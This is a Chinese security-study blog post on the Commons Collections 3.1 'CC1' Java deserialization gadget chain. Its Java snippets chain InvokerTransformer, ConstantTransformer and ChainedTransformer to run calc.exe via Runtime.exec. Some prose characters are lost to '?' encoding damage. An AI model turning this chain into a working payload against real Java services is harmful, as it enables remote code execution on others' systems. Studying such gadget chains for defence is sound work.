1 java安全之CC1浅学

前言由于CC链还是比较复杂的,我们可以先看命令执行的部分payload之后再加上反序列化部分组成一个完整的payload
调试一项目导入依赖,这里使用3.1版本
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency>先来看看以下几个类
TransformerTransformer是?个接? , 它只有?个待实现的?法
public interface Transformer {public Object transform(Object input);}TransformedMap在转换Map的新元素时,就会调?transform?法 , 这个过程就类似在调??个”回调函数“,这个回调的参数是原始对象
InvokerTransformerInvokerTransformer是实现了Transformer接?的?个类,这个类可以?来执?任意?法 , 这也是反序列化能执?任意代码的关键 。在实例化这个InvokerTransformer时,需要传?三个参数 , 第?个参数是待执?的?法名,第?个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表;
关键代码如下:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName; //函数名this.iParamTypes = paramTypes; //函数参数的类型this.iArgs = args;//参数对象}public Object transform(Object input) {Class cls = input.getClass();//获取input的类Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //调用方法return method.invoke(input, this.iArgs);//执行}

1 java安全之CC1浅学

文章插图
很清楚的可以看到,方法名方法所需的参数类型 , 方法的参数,我们都可以控制,通过Java反射机制,我们可以构造一个命令执行:
public class Test {public static void main(String[] args) throws Exception {Runtime runtime = Runtime.getRuntime();Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});invoketransformer.transform(runtime);}}
1 java安全之CC1浅学

文章插图
这就需要一个条件 , 在调用transform方法的时候 , 需要传递一个Runtime.getRuntime() , 这几乎是不可能的 , 没有人会在反序列化后调用transform方法还传递一个Runtime的实例进去 。我们需要把攻击所需要的条件尽可能的缩小 , 实现在反序列化时就能够rce , 所以需要想办法把传递Runtime.getRuntime()这一条件给去掉 。接着就找到了ConstantTransformer这个类
ConstantTransformer【1 java安全之CC1浅学】ConstantTransformer是实现了Transformer接?的?个类,它的过程就是在构造函数的时候传??个对象 , 并在transform?法将这个对象再返回:
public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn;}public Object transform(Object input) {return iConstant;}所以他的作?其实就是包装任意?个对象 , 在执?回调时返回这个对象,进??便后续操作 , 那么和上面的InvokerTransformer搭配一下
public class Test {public static void main(String[] args) throws Exception {Object constantTransformer= new ConstantTransformer(Runtime.getRuntime()).transform(123);Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});invoketransformer.transform(constantTransformer);}}ChainedTransformerChainedTransformer也是实现了Transformer接?的?个类,它的作?是将内部的多个Transformer串在?起 。其transform方法实现了对每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去 。
ChainedTransformertransform函数如下
public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}ChainedTransformer类的构造函数,其中iTransformers数组是用户自己定义的:
三个继续搭配一下
public class Test {public static void main(String[] args) throws Exception {ChainedTransformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})});chain.transform(123);}}

推荐阅读